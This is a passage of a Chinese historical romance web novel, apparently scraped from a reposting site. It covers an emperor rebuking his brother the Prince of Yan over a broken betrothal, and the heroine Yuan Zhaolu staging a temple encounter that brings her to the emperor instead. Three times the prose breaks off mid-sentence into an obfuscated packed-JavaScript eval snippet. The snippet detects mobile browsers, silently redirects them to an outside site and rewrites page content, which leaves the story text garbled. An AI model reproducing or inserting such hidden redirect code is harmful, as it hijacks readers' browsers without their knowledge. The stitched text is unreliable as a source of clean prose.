皇帝若有所悟,笑道:“原是未曾了解过。你派人直接去元家退婚,却在朕面前这般谨慎恭敬,为何?是因为她寒微,你可以随意欺压,朕手握权势,你连回话要也要掂量数回?” “皇兄!”燕王面色惨白。 “燕王好大成算啊。”天子抚掌赞叹。 那身影从纱帐后走出,织金长袍的一角缓缓划过眼帘。 燕王身子一震,下意识低下眼帘,不敢去直视天子的双眸。 头顶传来天子清和含笑的声音:“如此说来,你之决策也可朝令夕改?你是觉得自己身居高位,世人皆要仰慕你,只需臣子为你奔走善后,不必考虑给他人之后果,还是燕王八面玲珑,算无遗策,将一切都思虑好了?” 肩膀陡然一沉,天子手搭在他肩膀上,那沉重的力道,压得燕王身子一寸寸向下,双膝跪地。 若说此前萧洛之尚且怀疑,眼下真切感受天子的怒意。 他喉咙滚颤,道:“父皇当年与元二小姐母亲亦有婚约在先,然最后也废止……” 天子话音甚至可以说是温柔:“如此,朕下一道旨意如何?且发去元家,晓谕天下,燕王心有怨念,此生绝不娶元二小姐。” “皇兄,不可!” “为何不可?” “那元二小姐处境艰难,怎能如此待她?可皇兄一味逼迫我应下婚事,我也难以从命……请皇兄降罪!” 皇帝看向身侧人道:“仲长君,朕今日派你去,是如何和燕王说的?” 一旁贴壁而站的仲长君,躬身垂首,悄然出声道:“陛下口谕,元家小女入京,奉先帝旧日之约,当议燕王与元家小女的婚事。” 那微微咬重的“议”字,传入萧洛之耳中。 萧洛之闻言,神色煞白。 天子笑道:“燕王,你见过她样貌吗,你了解她吗,你知道她品行如何,你便说不喜欢她。你若做到这几点,再到朕面前说一句不愿娶,那才是思虑周全。” “燕王,你告诉朕,你是不是在欺负一介孤女?” 话语似针锥,刺入萧洛之耳中,他胸腔猛地一颤。 “朕厘前朝旧案,为元公翻案,是为安抚前朝旧臣之心。谁若娶她,朕当重用谁,将朕礼待旧臣之心广而告之,这是于公。即便元家女与宗室婚约不成,朕也会念在往日元氏之交,收认她为义妹,这是于私。” “这些,你在退亲前,思虑到了吗?” 皇帝那戴着青玉扳指的指节,叩在案几上,声响一声比一声沉。 他吩咐身侧人,不多时,仲长君从殿后,双手捧着一盒,俯身呈至燕王面前地面。 华丽暗红色木椟,通体雕镂着繁复的缠枝纹,精美非凡。 萧洛之却觉古怪至极,目光触及木椟的一刻,心口便突突直跳,那漆身太过浓稠,仿佛有鲜血要从细缝中渗出。 仲长君微微一笑,为燕王揭开。 一颗头颅齐颈而切,摆放在那里,边缘血肉翻涌,血渍已呈紫黑,待仲长君将人头小心摆正过来—— 一双怨毒的眼珠骤然与萧洛之对视。 天子浅笑:“来,认认看你的亲表兄。” 萧洛之神情骤变,撑着地面的手隐隐颤抖:“表兄……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895980|176140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仲长君笑道:“陆大人此前立下战功,得陛下信任,加封校尉,领军前线,然陛下曾告诫过行军方略,切勿贪功冒进,校尉大人仍旧罔顾旨意,险些带兵覆灭,故而,校尉大人只好献上这颗头颅,来向陛下谢罪,实在可惜可叹。” 皇帝道:“燕王既如此有谋断,不如想想,你的头颅与这头颅有何区别。” 萧洛之垂眸,那人头空洞的双眼仍直勾勾地盯着他,他一颗心狂跳不止,听到自己开口:“今日之事,是臣弟鲁莽,思虑欠妥。” 燕王闭了闭眼,再抬首,面色已恢复如常,“臣弟会给元二小姐赔罪。” 仲长君赞道:“燕王能通达如此,陛下自然欣慰。至于这颗首级……” 仲长君缓缓托起,交到燕王面前,“陆家到底是太后娘娘本家,还请燕王亲自前往陆府,好好想想,该如何告知陆家人。” 阶前已一地汗珠,燕王再次叩拜。 “臣弟应诺。” 燕王出殿时,皓月仍高悬中天。 他面圣过无数回,却无一次有今日这般,似从刑具刀架之上滚过之感。 入内不过半个时辰,却恍如隔世。 天子从容弘雅,可率意而为,盖因这天下乾坤皆由他执掌,从无逃脱掌心之中。 即便当年皇兄因那桩旧事与先帝决裂,连储君之位都可舍弃,隐居山野,然先帝病重之际,临终传召至跟前的,便只有他一人。 那是父王最为器重的嫡长子,这天下都是由他谋定。 新朝初定时,内乱未止,风雨飘摇,除皇兄之外,无人可稳固这才打下的萧家江山。 自己如今的官位由皇兄所封,从青州营少将,到东道大行台,再到冀定幽三州军事都督,与皇兄当年所领如出一辙,却是不可同日相语。 如何能抗旨? 萧洛之低下头,手中那不过尺余的木匣,此刻却似有千钧之重。 叶疏在殿外等候,接过他手中的木椟。 夜风卷起萧洛之的广袖,他久立于月下,缓缓取出那张信笺,月光映得纸上墨迹格外清晰。 那句“燕王,你欺负她一介孤女”的斥责声犹在耳畔。 他见过她样貌吗?知道她为人吗?了解她生平吗?就说不喜欢她。 萧洛之指腹摩挲信纸边缘,看着那一手清隽洒然的小楷,道:“她的字倒未曾有那样不堪,她不是少时流落在外吗?” 叶疏道:“并非,二小姐少时是被西北一户书香门第收留。” “原是如此……”萧洛之喃喃,将那信上自字迹反复看了数遍,“她这是何病,需要这般多的药材?” “明日属下去太医署问一番。” “嗯……许是民间疾病,太医署人未必尽知,不妨多走访几家药铺。” 宫道绵长,槐影婆娑。 至寝殿前,宫女们轻唤作礼,萧洛之方才抽出思绪,将信敛入袖里,剑眉之下,眸色沉沉映着漆黑高天。 纵使那元二小姐此刻就站在眼前,处处合他心意,他也绝不会娶她为妻。 青白槐花自树梢飘落他肩头,他懒得抬手拂去,在入殿前,转身吩咐道:“明日,你备齐这些药材送往元府,顺便替我给她带几句话。” 叶疏附耳过去,听明白后,面色划过一丝愕然。 “本王的话,你听清了吗?” 叶疏旋即抱拳道:“是。” 9.下饵 元府。 燕王遣人登门退婚一事,已传遍元府上下。 “昨夜我宿在外,未曾回府,竟出了这样的事,燕王当真要与侄女退婚?” 主屋之中,一蓄着美髯的男子正坐在窗下,与元二夫人相谈。 此人便是元家家主,元利。 元利风度儒雅,举止不凡,其兄长当年便是出了名的美男子,元利也以容貌相称,然已至中年,仕途上却极其不顺,如今只在朝中领了个著作郎的闲职,负责编修前朝国史。 元二夫人双手紧握,在屋内来回踱步,语气焦灼:“你那侄女好大的脾气,得知燕王人前来拜访,撇下我立刻去见人,待我的婢女回来禀报,隐约听得燕王说与她‘退婚’云云,我心中一惊,大人,你这侄女哪里攀上的高枝?” 元利思忖开口:“萧家乃百年豪族,自前朝起便显赫不衰,攀附者无数,我们与萧家唯一的联系,便是长嫂,莫非……与长嫂有关?” 提及此人,二人神色皆是一变。 长房夫妇二人的名字,便是府邸上下的忌讳,已十数年无人敢提。 元利低声道:“想必是因为长嫂。如今新朝已定数年,我在仕途之上,却始终再难进一步,那么多银钱投进去都无果,便是苦于没有门路。如若能靠她……” 元二夫人脸色骤变:“你还敢指望她为你所用?且不论那婚事如何而来,燕王昨日可是来退婚的。” 元朝露与燕王退了婚事,这洛阳城中还有她立锥之地? 但求燕王的火不要波及元家才好。 元二夫人道:“那收留她的人家,说是西北书香门第,却连份嫁妆都未给她备下,也不见得多重视她。自她入府,我眼中就多了一根钉刺,府上开销本就吃紧,你还有你那两房妾室……” “夫人莫急。”元利连忙起身安抚。 “此事未必如此简单。我查明隐情前,不如暂且留着她。还劳夫人先去与侄女说话,递个台阶让她下来,如何?” 元二夫人冷笑道:“她那性子你又不是不知,娇蛮任性,处处顶撞我,如今我一听闻燕王一事,便立刻上赶着,岂非显得我尤为讨好她?我看也不必了,燕王退婚的事只怕没有转圜余地……” 却在此刻,下人从屋外来报。 婢女禀告,燕王的人再次登门。 且这一次,还带了厚礼,极为郑重。 ** 元朝露给燕王留下信中,写下了阿姊需要的那一味珍惜药材,但此外,还列举了数道极其昂贵的药材,便是因为她囊中羞涩,若能得到这些药材,加以转卖,能换取不少银钱,解她燃眉之急。 此外,也是试探燕王的态度。 其一,燕王是否言出必行。 其二,只以一纸婚契强求来的夫婿,到底难以长久,男女之情重在吸引,第一步,便是勾起对方的好奇。 她声称自己身染疾病,燕王必定心有波动。 再有她那一手字,从前虽未经过正统的练习,但在西北时,跟着养父修缮石窟壁画,早练就描形绘影的本事,执笔时手腕极稳,连教习的老师也诧异她初学得极快。 燕王看了又会是何反应…… 只是没料到,燕王府的人来得这样快。 午后骄阳炽烈,叶疏再度登门,身后领着燕王府一队亲卫,武士们鱼贯而入,将药箱一一卸在院中。 叶疏拱手道:“二小姐,您需要的药材皆在这里,昨日燕王殿下便命属下加紧去寻,只是其中有一味药材,遍寻宫中宫外无果……还望小姐再通融些日子,在下寻得后,自会上门。” 屏风之后,元朝露安静而立,示意荷衣出屋道谢。 院中摆满药材箱笼,远超出元朝露所求,此皆是上乘药材,有几味甚至贴着太医署的印签。 元朝露隔着屏风,仍盈盈行礼将礼数做全:“多谢大人。” “小姐言重。”叶疏躬身还礼,“殿下对昨日上门之事,深觉唐突,事后细想,实在有失礼数,今日上门,除了送药,还特命属下代为致歉。” 元朝露闻言微微一怔,羽睫轻颤。 叶疏道:“殿下本该亲自登门的,奈何今日有紧急公务缠身,绝非道歉之心不诚,待最多五日,殿下必当亲至府上赔罪,还望小姐勿怪。” “朝露岂敢当?殿下如此郑重,倒叫我心中惶恐。” 赔罪吗?自然是应该的。 她还记得叶疏转告的那句,“燕王劝小姐一句,若执意于这一桩婚事,终究是虚浮之影,便如求镜中花,水中月,难以长久。” 她当时一个人立在那里,仿佛碰了一鼻子无形的灰。 未曾想一日不见,燕王前后态度变化如此之大,话语也格外谦卑。 且登门日期都说定,可见绝非糊弄,极有诚意。 外面人道:“在下任职于护军府,小姐若是有事,可随时遣人来寻在下,在下必当转达燕王。” 叶疏看了眼已搬运妥当的药材,拱手准备告辞。 身后忽然传来一道清音,“大人留步——” 叶疏驻足,回首见那道身影依旧立在屏风后。 “小女尚有一事想请教大人,听闻京中佛观遍布,不知哪家香火最盛?” “小姐想去寺庙礼佛?” 楚朝末年时,战事不知何时结束,上至王侯贵臣,下至寒门庶民,皆崇尚佛陀,以为精神寄托,待萧氏接受天命,定鼎天下,法教已极盛,所以京都洛阳城中,宝塔骈罗,鳞次栉比。 有些事,元朝露只需稍微打听,便能得知。 譬如,当今陆太后笃信佛法,如今洛阳城西,那一座尚未竣工的宏伟佛寺群,便是陆家为太后所敕造。 譬如,燕王殿下至孝,时常出入佛庙为陆太后祈福。 元朝露轻轻一叹:“不瞒大人,我身子抱病,入洛阳一月尚未见好转,欲前往佛寺诚心参拜。可洛阳城中,宝刹众多,一时不知该往何处。” 叶疏话音随和:“原是如此,若论香火鼎盛,当属白马寺。只是白马寺每日信众如织,却不适宜清修,若论佛法最为精妙,便是融觉寺,有西域来的高僧讲解佛经,传授教义,洛阳百姓时常前往那里听经……” 元朝露道:“那何处最为灵验呢?” 她虚弱的 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元朝露只见那玉牌,通体莹润如羊脂,在日光映照下折射出光华。 叶疏又说几句佛寺之事,方才离去。 元朝露摩挲着那枚玉牌,从落地屏风后现身。 那燕王送来的药,还缺那最难寻的一味,她一颗心始终悬而未定,起初问叶疏佛庙云云,的确是想为阿姊祈福。 但开口的瞬间,心中便又起了主意。 没想到几句,当真套出燕王礼佛的规律,如今还得了通行凭证,实在是意外所获。 身侧荷衣道:“阿雎,你若想见燕王,为何不直接让叶疏安排?反倒用佛寺来打探他的消息。” 元朝露道:“因为燕王并不想见我。你看他今日来,虽是道歉,可曾提过婚约一字?” 荷衣静默一瞬:“倒是没有。” 元朝露道:“燕王高傲至极,有这一桩婚事先入为主,无论我怎么与他相处,只怕他都会心有抵触。” “如若,我换个身份接近他呢?” 荷衣抬头,见少女明眸流转。 元朝露不想用元家女的身份,倘若她在佛寺与燕王偶遇,再另借身份相交,反倒能和燕王更平等对话,也能更清楚他为人性情。 所以,她始终不曾在叶疏面前露过真容、说话时也有意压低音色。 从知道有婚约的一日起,她就做好了万全准备。 机缘是自己求来的,她不会等着燕王上门来, 但自己素来性子急,这一次钓鱼下饵,须得万分沉住气,不可操之过急。 而短短两日内,燕王府二次登门,态度如此恭敬,想必元府上下人自有定夺,不敢再怠慢她。 朝露嘴角轻轻翘起,只是…… 要如何安排这场恰到好处的“偶遇”,才能既自然天成不露痕迹,又得让燕王过目难忘? 少女思量片刻,已经有答案,转身衣袂轻旋,双眸带着狡黠之色。 “荷衣,从明日起,我们便去禅虚寺,来偶遇燕王。” 10.相遇 洛阳这几日天色阴晴不定,时而阴云密布,时而明朗放晴,便如同莫测的圣人心绪。 这一日午后,难得的天朗气清,燕王步入禅虚寺。 燕王一身青袍,玉冠博带,行色匆匆,今日未曾穿武袍,只一身寻常世家公子般打扮,却俊朗不凡。 仲长君在下山路上,遥遥便看见燕王与身边侍从身影,待人走近后,垂首作礼,“燕王殿下。” 燕王正是思绪不宁,乍然这一声入耳,蓦然驻足,见是御前内侍仲长君,道:“原来是仲公,皇兄此刻可是仍在山上?” 仲长君轻轻笑道:“陛下在主禅院静修,与方丈谈经论道,向来是无需内侍等陪同。奴婢将奏牍为陛下送来,便先下山了。” 说罢他目光掠向燕王手中的书卷,“殿下手中这是?” 燕王道:“元二小姐之事,我思虑不周鲁莽行事,实在愧对皇兄昔日之教诲,日夜难安,特寻来这卷敦煌藏经洞的孤本,来向皇兄赔罪……” 仲长君浮起微笑,恭敬如常,“原是如此,殿下有心了,奴婢为您引路。” 燕王令身后叶疏不必相随,独自跟随仲长君拾级继续往上。 他抬头望向山顶尽头,那片隐在群山苍翠中的宝刹飞檐。 皇兄不喜奢侈,崇尚简质,唯独对佛寺的清净之地情有独钟,自登基后三载,为避朝堂之聒噪,时常出入佛寺静休,且一住便是十日半月,宛若隐于尘世之间。 然这期间,政务未曾辍止荒废,朝堂运行如常,便是因为,每一日要紧的奏牍,都会由仲长君亲自择选,送入寺庙之中的皇兄案前。 这一次,皇兄晏驾便选在了城郊的禅虚寺,未封禁山道,任香客往来如常,并未扰寺中清修半分。 除了他与几位天子近臣,少有人知晓皇兄的踪迹。 那夜面圣后,他深觉惶恐,翌日将表兄首级送到陆府,随即奔走,经过一日一夜苦苦搜寻,方才寻到了这一卷稀世佛经孤本。 经文捧在手中,分量虽轻,却觉沉甸甸的。 也不知这卷古经能否平息皇兄的怒意…… ** 禅虚寺有大量禅房,坐落山间,专供香客住宿,虽陈设素净简约,却处处窗明几净,一尘不染。 元朝露自昨日起,便来到此处佛寺,先是于前山禅院洗手焚香,虔诚叩拜神佛,此后便在这处位于前山后山交界之地的禅房落脚,静静等候燕王的人马出现。 透过禅房的小窗,可以清楚看见上山下山的人影往来。 昨日未见到想见之人,无功而返,今日再来,至正午时分,仍旧一无所获。 直到午后,叶疏的身影映入眼帘。 朝露立在窗边凝望,见山道之上,叶疏恭敬陪在一锦袍年轻男子身侧,二人缓步上山。 隔得有些远,看不真切,隐约只能望见叶疏身侧那年轻男子,一身锦袍华贵,头戴玉冠,背影修长挺拔,而他手中捧着一叠书卷,以红绸系缚,随风轻扬。 少顷,叶疏奉命退下,独自沿山路离去。 朝露只觉心跳如擂鼓,在胸腔里重重作响。 那青袍玉冠的男子,想必就是她的未婚夫了。 元朝露拿起桌上幕篱,双手在带子间穿梭,系好一个结,转身对荷衣道:“荷衣姐姐,我看到燕王了,你且在此地等我。” 荷衣眉心蹙起,不太放心:“你独自一人,当真可以?可需要我陪你?” 元朝露轻拍她手臂,“不碍事,你曾在燕王手下面前露过面,若跟在身边,怕是会被撞见不便,姐姐若是等候的时候心焦,先去前山为阿姊多烧几株香,待我佳音便可。” 轻纱幕篱落下,遮住了女郎的姿容。 元朝露走出禅房,沿着石阶缓步上山。 山风徐来,轻纱微扬,带着几分凉意掠过她的面颊,也让她原本紧绷的心绪,渐渐沉静下来。 她抬头望向山道上尽头那道身影,不再犹豫,继续往山上走去。 ** 佛寺钟磬之声悠悠回荡,越过重重回廊,散入云山深处。 而在此刻,主禅院大殿内,一尊金身佛像巍然矗立,佛前青烟袅袅,映照出下方两道静立的身影。 其中一位僧人双手合十,正是传闻中能引佛陀入梦的应慧方丈。 在他身前,一袭青袍的当今天子长身而立。 “陛下自陇西归来后,常被梦魇缠身,每日旦时方才合眼?” “是。” 应慧道:“古语言,梦有六侯,正梦、噩梦、思梦、寤梦、喜梦、惧梦,陛下之梦可占其中几梦?” “噩惧寤梦,如此皆有,却唯独没有喜梦。朕梦中常忆少时之事。” 应慧了然:“陛下被过往所困。” 应慧方丈年过六十,多年前萧氏潜龙在渊时,便与太祖皇帝萧元度结交,后常为萧家子弟点化开蒙,以佛法教化其心性。 故而当今的天子萧濯,是应慧其亲眼看着长大。 年轻的帝王二十又一,从容优雅,丰神如玉,仿佛世间所有的事皆难在他面前掀起波澜,然而翻手覆手间沾染的血不计其数。 乱世磨人心智,亲眼见证人间炼狱,在这样扭曲世道中存活下来的人,又怎能性格如常? 这些年,陛下性情压抑,喜怒越发不形于色。 犹记得昔年陛下意气风发,潇洒肆意,鲜衣怒马少年郎之时。 若说陛下器重燕王,不若说是在其弟身上看出自己的身影。然燕王虽能力出众,却远不及今上。 应慧方丈道:“陛下赐死陆大人,却念及与之幼年相交之情,故而被梦魇缠身?” 天子唇角微扬,眼底却无笑意:“方丈当真不知朕?他罪当诛,只是自陇西归来,朕临此帝位,思及这些年来历经战乱之事,又生厌弃之意。” 应慧目光温和:“陛下思虑太重,心被重重束缚。” “故而朕今日前来拜见方丈,敢问何解?” 应慧方丈缓步踱入后殿,取出一支迦南香,仔细点燃后供奉于佛前。香烟袅袅升起,“不若请神明指引入梦,为陛下解忧。” 应慧方丈曾求学于西域最精于禅学的僧人,传言能请佛入梦,然此法玄妙至极,非大机缘不可轻启,故而极少为人施为。 萧濯道:“好。” 香气渐渐袅绕,在殿中弥漫开来,熏得那一尊佛像,面容更为圆润慈悲。 萧濯也曾有佛陀入梦,然梦中诸相,皆是现世因果映照,等梦醒之后,静心反省,便可参透本心所求。 这一次却极其不同。 午后凉风习习,殿内经幡轻扬,佛前青烟渐渐摇曳,不知不觉弥漫一整间大殿,等眼前迷雾散开,周遭的景象渐渐化作了一间禅房。 朦胧雾气中,一道婀娜身幻化而出。 女子如瀑青丝垂落在他臂弯,呜咽之声萦绕耳畔,似在与他哭诉什么,如怨如慕。 那一张面容分明美艳至极,却始终隔着一层薄雾,似真似幻,叫人看不真切。 温香软玉入怀,如水蛇一般将他缠绕,引他堕入深渊。 “陛下……” 萧濯自梦境之中抽身。 他指抚着眉骨,轻轻喘息着,待良久之后,慢慢抬起眼帘,沉沉眸光之中压着不悦之色。 应慧方丈问道:“陛下何梦?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908031|176140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “有女子入梦。” 应慧:“女子?” 萧濯自蒲团起身,语气淡然:“是色相之梦,诱我堕欲。” 应慧愣住:“那女子可是陛下故人?” 萧濯道:“从未见过。” 应慧沉吟片刻,道:“近来陛下忧思萦绕,难以自解,梦中独少喜梦,今见女子非色相之劫,或许是渡陛下走出困局。” 萧濯笑而不言。 “陛下若转移忧思,或可得到解脱。《法华经》中,孩童于失火宅院之中沉迷嬉戏,佛陀以华美车架诱其出离火宅,如今梦境是佛陀劝陛下,当将目光放在忧思外别处,或可得到解脱。” 应慧看到此话说完后,萧濯便要抬步离开,似乎觉今日佛陀播撒一梦极其荒诞,并非如应慧话中所言。 人心自有答案,多言无益。 应慧送他出殿门:“佛陀入梦,是无上智慧,我却也不能尽然为陛下解释,《十梦经》中曾记载波斯匿王梦十事,便是佛陀在梦中向帝王预示未来因缘。今日这梦,或是预示,或是警戒,亦或是启示,当自行体悟。” 萧濯道:“是劫是渡,皆在于朕。” “是,皆在陛下,决于陛下。” 天空忽而闪烁数道亮光,隐约有山雨欲来之势。 天子与应慧方丈辞别,踏出禅院山门,沿着蜿蜒石径徐行而下。 至半山腰处,见一凉亭立于苍松翠柏之间,信步走入其中,但见仲长君早已呈上奏牍,整齐陈列在案上,旁侧摆放一卷佛经,乃燕王所留。 他随意抽开佛经上绶带,思忖着应慧方才话语。 恰在此时,远处青石小径上,穿来轻微的脚步声,从迷蒙烟雨中,由远及近慢慢走来。 哗啦啦…… 雨水迷蒙,落叶湿润。 他缓缓抬起眼帘,看到烟雨之中,一道修长的身影慢慢显露而出。 女郎手中怀抱着一卷书画,一身天青色衣裙,几乎要与身后烟雨融为一体,那幕篱被雨水打湿,湿漉漉地贴着面颊,隐隐约约显露出其后那姣丽的面容。 雨丝渐密,凉亭檐角滴落的水珠连成一线。 元朝露在亭前驻足,抬手欲掀幕篱,却又迟疑地放下。 她知晓燕王喜爱字画,为此特地带上了怀中这幅名画,想作攀谈之机,待他见画时,便可顺势结交。 然而山路行至一半,已不见燕王身影。 偏逢山雨骤至,林间雾锁云笼。 她又初来此地,迷路之际,只得一手护画,一手撑伞,狼狈行至半山腰,只见远处有一山亭,无奈放弃寻找燕王的念头,入内暂且避雨。 却未曾料到,山亭之中另有人在。 石桌之旁,静立着一道颀长身影,山风掠过,石桌上镇纸所压的宣纸簌簌颤动,似欲挣脱桎梏下一刻振翅而去。 雨幕滂沱间,那男子缓缓抬起头,朝她投来一眼。 太过疏离冷冽的气势,令她隔着帘幕对视一眼,未曾看清其容貌,便立刻垂下眸来,不敢直视。 檐下水帘成幕,密织成珠帘。 她立在凉亭边,罗裙下摆已溅满泥点,脑中忽然掠过一鳞半爪的念头,余光透过幕篱瞥去。 年轻的男子一袭青袍,举手投足间,自有一种写意风流,矜贵逼人,在他身边石桌上案头摆放着一卷书卷,被一绺朱红丝绶轻轻扎起,在风中摇曳。 正是她午后所见,燕王手中捧着的那书卷。 她的心绪就好似阴翳之下浮云散开,忽有一种拨云见日之感。 眼前之人是谁,不言而喻。 便正是她苦寻无果的未婚夫,燕王。 11.一同 亭内寂静无声,自元朝露将伞落下,入内后,一时间,只听得见滂沱雨幕落下之声。 元朝露借避开飞溅的雨珠的动作,向凉亭内又走了一步。 她怀中的这卷古画,是养父做壁画工时,在西北那座年久遗弃的佛庙洞窟中所获,元朝露离开西北,也将此画卷一同携带,本是想在最拮据时,典当换取银钱,如今却要用在燕王身上。 她应当开口说些什么,来主动攀谈。 然而燕王的气场太过逼人,令她话语在口边辗转数回,也难以吐出一句。 她立在檐边,看着亭外越发湍急的雨水。 雨水将凉亭包围,整个世界仿佛只剩下了二人,显得她与他离得格外近。 她目光低垂,只能看到那人的手,素雅竹袍袖摆之下,那手背白皙,骨节分明,其上佩戴着一枚青玉扳指,似乎是拉弓控弦之用的扳指。 他低垂眼眸,姿态随意,正在收拾桌上摆放的各种书卷公文,应当本是选在这风景秀致的半山腰处办公。 在他手边,石桌上还蹲着一只毛色光亮的玄猫,那猫金瞳如炬,毛发柔顺,颈间系着一条朱红丝绦,一看便知不是乡野之物。 ——想必是他所养的宠物。 可元朝露实在害怕猫类兽物,只看一眼,便脸色苍白,下意识后退了一步。 那猫似有所感她的惧怕,抬起幽金色的眸子,直直望向元朝露,渐渐立起身来,从石桌另一端徐步走来。 元朝露后颈滑下一滴冷汗,攥着书画的指节发白。 她通晓驯兽之术,连毒蟒都可以如常驱使驯服,可诸多禽类之中,唯独惧怕野猫。 在贺兰家时,她便是被囚禁在笼子之中,接受过“猫刑”。 暗室漆黑,铁笼冰冷。 笼子之外是饿了数日的野猫,皆饥肠辘辘,叫声凄厉,那锐利的爪尖反复刮擦铁笼,发出的声音,令人毛骨悚然,她被关在暗室中数日,每一日都要遭受精神反复撕扯的极刑。 它们的身躯那样柔软,仿佛会随时从缝隙中钻入,将她的骨肉一点点拆吃入腹…… 贺兰贞说,若非阿兄拦着,绝不会将那野猫放在笼子外,必定让她尝尝被猫活活撕咬死的感觉。 今日看到这只猫,一下拉她回到了在贺兰家的日子,冷意与恐惧自骨子缝中渗出,令她浑身剧烈战栗起来。 那黑影倏然跃下石桌,发出一声猫叫。 元朝露背抵上亭柱,在这时,又是一阵狂风呼啸,自身后涌来,令她裙摆飞扬,怀中那卷书画也一下脱手。 “哗啦”一声,画卷朝石桌掠去,带着案上笔墨书卷一同倾覆滚落在地。 宣纸四散飘飞,缭绕二人身侧。 石柱的寒意渗入后背,元朝露一下清醒,几步到桌案边,蹲下身来去捡散落的书卷。 大多数文书未被雨水波及,但有一卷被吹拂到亭边,叫风雨吹开,打湿了数页。 而自己精心准备的字画,也沾染上雨水,一角墨迹斑驳开来。 “实在抱歉……”她将散落的书卷一一捡起,正欲起身时,忽见身侧人也俯身而来,拾起了地上最后一卷,二人便这样目光相接。 映入眼帘的是一张异常俊美的面庞。 年轻的燕王,容色曜丽,气质出尘,仿佛巍峨玉山,却带着拒人于千里之外的疏离。 潮湿的水汽,凝结在他的眼睫与眉尾,更别增一丝清冷之色。 让人想到只敢远观、不可亵渎西北圣山雪。 这是她第一次认真打量燕王的容貌。 她眼前浮动的幕篱再次落下,隔断了二人相交的视线,仿若惊鸿一面。 元朝露心弦轻轻一震,未及回神,那道身影已经起身,她抬手,将书卷轻置于石桌上。 对方未曾开口,然她分明清清楚楚看见,那一刻画卷将他桌上书卷扫落,他蹙着眉梢,仿佛被冒犯一般,脸上浮起极其不悦的神色。 今日非但能用字画与他相交,反倒将他的东西损坏,自己更是叫雨水淋得狼狈不堪,最初的盘算都被打乱。 他必然对自己第一印象极差。 元朝露丧气,却很快含笑抬头,将他被打湿那卷书递到他面前。 “今日弄坏了公子的书物,实在过意不去,我向公子赔罪,这卷书上写的……我看是《受十戒文书》?公子若不嫌弃,待我午后出寺庙便去寻一本全新的抄本,改日交还给公子,如何?” 燕王的视线,从那卷佛经上缓缓抬起,落在她身上。 那双眼睛被雨水微微打湿,长眉入鬓,眼尾上挑,打量起人时,眼中藏着若有若无的钩子。 元朝露心口发虚,仍旧扬起笑意。 面前人开口:“可这是敦煌藏经洞的孤本。” 元朝露的笑意凝住,低头看一眼佛经,道:“如此珍贵吗……当真是我疏漏,还请公子待我几日,去寻洛阳最好的古籍修复匠人,看看能否将这书册修复如初。” 似燕王这般身居高位者,身边不会缺修复的工匠,又何须她来? 但元朝露还是道:“公子放心,我也是喜爱佛法之人,不忍佛经就此遭难,定会想尽办法补救,我自己亦有一些孤本的收藏,可否送一套孤本给公子来补偿?” 只是想必又要耗费不少银钱去购置,元朝露心疼得滴血。 他始终未发一言,仍旧在打量自己 “公子以为如何呢?我知道公子恼怒于我,可我画卷也被雨水打湿了。” 元朝露铺展开画卷,将那卷《陇山夜雨问道图》展示给他看,然而他只目光掠过一眼,未流露出多少兴趣。 这幅画他不喜欢吗? 元朝露道:“不瞒公子,我自小害怕猫虎这一类动物,刚刚见到公子的猫,也属实怔住,一时未曾将画卷抱紧,便脱了手,还请公子莫要怪罪,好吗?” 女郎声音清澈婉灵,话音掺着轻轻的笑意。 有风吹来,她面颊前幕篱再次浮动,这一次终于露出她原本面容。 萧濯开口欲拒绝欲走,视线落在那面颊上,一顿。 午后他梦中那一位女子,隐藏于浓雾后的面庞,在这一刻,渐渐变得清晰,露出皮肉骨相,与面前之人渐渐重叠。 就仿佛重重迷雾散去。 脑海中有一道声音告诉他,与那女子的初遇,似乎就是在这样一个雨日,在半山腰凉亭之中。 且这一次,绝非二人最后一次见面。 她会开口,说两日之后再见。 女郎浅笑盈盈:“那两日之后,就在这处佛观,我与公子再见,先将佛经修复的情况告知公子,如若不行,我再想办法。” “那我们就说定了。” 幕篱落下,那张面庞藏于轻纱之后,她笑着将书画合起来,拿起油纸伞朝凉亭外走去。 幕篱从他指尖滑走,带着潮湿的清凉,还有她身上的幽香。 雨水哗啦啦落在油纸伞上,发出清脆的声响。 元朝露不等身后人回话,已撑伞已快步走下台阶。 可莫要叫燕王反悔才好。 然而她抬起头来,身前是烟雨笼罩的山道,突然想起什么,脚步踌躇,犹豫半天,始终不曾迈开一步,慢慢转过身来。 “此地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915116|176140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山峦起伏,我初次前来,迷了道路,实在不知如何下山,眼下天色昏暗,可否有劳公子送我一程?” 雨幕将凉亭内外隔绝成两个世界,她身边大雨肆虐,而他立在凉亭之中,透过重重雨雾目光望来。 据她打听的话所说,燕王少年心性,赤忱心热,乃意气风发的少年郎君。可今日相处,眼前人却怎么也对不上,分明冷漠至极。 